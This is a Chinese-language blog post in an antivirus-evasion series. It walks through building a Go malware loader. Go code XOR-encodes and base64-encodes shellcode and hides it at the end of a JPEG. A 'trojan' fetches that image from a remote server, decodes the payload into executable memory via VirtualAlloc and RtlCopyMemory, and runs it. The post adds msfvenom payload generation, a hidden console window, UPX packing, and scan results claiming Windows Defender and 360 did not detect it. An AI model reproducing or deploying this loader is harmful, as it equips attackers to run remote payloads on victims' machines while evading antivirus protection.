很久很久都没更新这个系列的文章了,都忘记这个系列了~~~~
上一篇文章还是去年10月份写的了~~~
系列上一篇文章戳下面
zngeek,公众号:蓝极战队免杀那点事儿之windows的shellcode(一)
今天的示例用golang来写,为什么呢?因为前几天受朋友委托开发一个工具,但是要用golang写,因为他们要源码,索性就研究了一下golang,发现还真特么方便。
其实我们做木马也好,病毒也好,第一就是小巧便携无依赖,首先那些解释型语言就可以pass掉了,比如python、java等等需要依赖于环境和虚拟机来运行的语言,那么就一定要使用编译型的语言,比如我心中的YYDS----C语言,但是C语言跨平台的话太麻烦,针对不同操作系统C语言的代码差异还是非常大的,开发一些小功能还好,如果业务逻辑比较复杂的大点的程序,同时开发几个平台的,就比较麻烦了。
这时,golang这门编译型语言就很好的简化了跨平台的繁琐,基本可以一代码跨多平台,更关键的是,golang既是一门编译型语言,也有那些解释型语言的便捷开发性。
但是golang的缺点也很明显,编译出来的二进制文件体积非常大,今天说到的免杀案例,在windows平台上用C语言实现编译出来仅16kb,而同样的功能golang的代码编译出来有8MB多,即便加上了-s -w参数,编译出来也有5MB左右,再用upx -9压缩一下也有2.5MB左右,所以各有利弊。
今天免杀的思路是接上一篇文章的异或shellcode来进行延申。
即便我们异或了shellcode,但是在长期存储在本地时,也很有可能被防病毒软件检测到,所以我们再拓展一个思路,就是shellcode不写在程序里面,而是在需要用到的时候,再向服务器请求shellcode直接载入到内存里面进行运行。
木马的业务流程图如下:
在写木马之前,我们先写一个将shellcode加密隐写到图片中的程序。
这里的加密我们还是用了异或,你也可以用其他的加密解密方式。
var KEY_1=整数
var KEY_2=整数
xor_shellcode = []byte{你的shellcode}
var shellcode []byte
for i := 0; i < len(xor_shellcode); i++ {
shellcode = append(shellcode, xor_shellcode[i]^KEY_1^KEY_2)
}
这里异或了两次,KEY_1和KEY_2自己定义,解密的时候用同样的整数异或即可。
然后将字节数组base64编码成为字符串,并且写入到图片当中。
decodeBytes := base64.StdEncoding.EncodeToString(shellcode)
fname := “要写入的图片路径”
f, err := os.OpenFile(fname, os.O_CREATE|os.O_RDWR|os.O_APPEND, os.ModeAppend|os.ModePerm)
if err != nil {
fmt.Println(err)
}
f.WriteString(decodeBytes)
f.Close()
用16进制看一下图片,已经在末尾追加上了我们异或编码后的shellcode数据了。
包含shellcode的图片制作完成后,就可以开始写木马了。
主要用到了kernel32.dll里面的VirtualAlloc和ntdll.dll里面的RtlCopyMemory两个函数。
VirtualAlloc函数用来开辟内存空间,RtlCopyMemory函数用来复制数据到内存空间。
先定义函数
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
直接在main函数里面开写,先请求服务器下载包含shellcode的图片。
imageURL := "http://你的服务器/1.jpg"
resp, err := http.Get(imageURL)
if err != nil {
os.Exit(1)
}
b, err := ioutil.ReadAll(resp.Body)
resp.Body.Close()
if err != nil {
os.Exit(1)
}
将下载好的图片二进制数据写入到变量b中,接下来要提取出异或编码后的shellcode并且异或解码
idx := 0
b = []byte(b)
for i := 0; i < len(b); i++ {
if b[i] == 255 && b[i+1] == 217 {
break
}
idx++
}
encodeString := string(b[idx+2:])
decodeBytes, err := base64.StdEncoding.DecodeString(encodeString)
if err != nil {
log.Fatalln(err)
}
var shellcode []byte
for i := 0; i < len(decodeBytes); i++ {
shellcode = append(shellcode, decodeBytes[i]^KEY_1^KEY_2)
}
KEY_1和KEY_2要跟加密前一样。
直接VirtualAlloc开辟shellcode长度的内存空间,RtlcopyMemory将shellcode的数据copy到开辟的内存空间中,最后直接syscall运行该空间中的数据。
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
至此,我们的木马就全部写完了。
------可爱的分割线------
下面还是用大家喜闻乐见的老外的msf来演示吧。
首先用msfvenom生成一个shellcode,因为这里用的go语言,所以-f 直接填go
然后将生成好的shellcode替换到我们的加密隐写代码中。提前准备一张图片,代码里的图片路径也要修改一下。这里我直接os.Args[1]取第一个参数就是图片路径
直接go run code.go 1.jpg
可以看到,图片正常,并且数据已经追加进去了。
图片可以上传到一些无损图库或者你自己的服务器,这里演示我就直接python临时创建一个http服务。
修改代码中的图片下载地址
直接go build 编译,可以加上--ldflags "-s -w",-w:去掉调试信息; -s:去掉符号表,这样可以减小程序的体积。
windows可以加上 -H=windowsgui 这样运行就不会有控制台窗口了。
编译好后,还可以upx -9 loader.exe压缩一下,这样体积更小。
直接运行loader.exe,可以看到程序下载了图片,并且读取解密了shellcode,然后上线成功。
看一下免杀情况,首先在本机上windows defender和360没有任何反应,再上传到virscan去检测一下
只有安天和ikarus检测异常
附上报告链接
https://www.virscan.org/report/19feacb2f99cd7b457427f0ac1a75abee3a72c6861a84f22d0ecbf34485bf442https://www.virscan.org/report/19feacb2f99cd7b457427f0ac1a75abee3a72c6861a84f22d0ecbf34485bf442
比上一篇文章单纯的异或免杀效果又好了很多,但是也可以看到,即便极度的减小体积,整体程序最终的大小还是有1.7MB,上述的所有功能我也用小C写了一遍,编译出来仅仅16KB,代码就不贴出来了,原理都是一样的,大家感兴趣的可以去用C语言复刻一下。